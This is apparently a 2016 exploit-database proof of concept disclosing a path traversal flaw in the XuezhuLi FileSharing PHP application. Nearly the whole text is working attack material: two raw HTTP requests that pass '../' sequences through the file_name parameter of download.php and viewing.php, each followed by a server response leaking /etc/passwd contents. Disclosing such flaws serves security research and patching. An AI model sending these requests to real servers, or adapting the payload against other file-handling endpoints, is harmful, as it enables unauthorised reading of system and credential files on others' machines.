XuezhuLi FileSharing Path Traversal

`# Exploit Title: XuezhuLi FileSharing - Path Traversal Vulnerability  
# Date: 2016-06-23  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: https://github.com/XuezhuLi  
# Software Link: https://github.com/XuezhuLi/FileSharing/archive/master.zip  
# Version: Latest commit  
# Tested on: Debian [wheezy]  
  
### Vulnerability  
1. download.php -> file_name parameter  
2. viewing.php -> file_name parameter  
  
### Vulnerability 1 - download.php  
GET /vul_test/FileSharing/download.php?file_name=../../../../../../../../../../../../../etc/passwd HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1/vul_test/FileSharing/userpage.php  
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; __utma=96992031.1679083892.1466384142.1466384142.1466398535.2; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=1%7C25; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1466565345; bdshare_firstime=1466565462740; PHPSESSID=uetimns4scbtk46c8m6ab7upp1  
Connection: keep-alive  
  
HTTP/1.1 200 OK  
Date: Thu, 23 Jun 2016 06:17:58 GMT  
..snip..  
Content-Type: application/octet-stream  
  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
  
# ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----  
### Vulnerability 2 - viewing.php  
GET /vul_test/FileSharing/viewing.php?file_name=../../../../../../../../../../../../../etc/passwd HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://127.0.0.1/vul_test/FileSharing/userpage.php  
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; __utma=96992031.1679083892.1466384142.1466384142.1466398535.2; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=1%7C25; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1466565345; bdshare_firstime=1466565462740; PHPSESSID=uetimns4scbtk46c8m6ab7upp1  
Connection: keep-alive  
  
HTTP/1.1 200 OK  
Date: Thu, 23 Jun 2016 06:19:49 GMT  
Server: Apache/2.4.10 (Ubuntu)  
..snip..  
Content-Type: text/plain;charset=UTF-8  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
`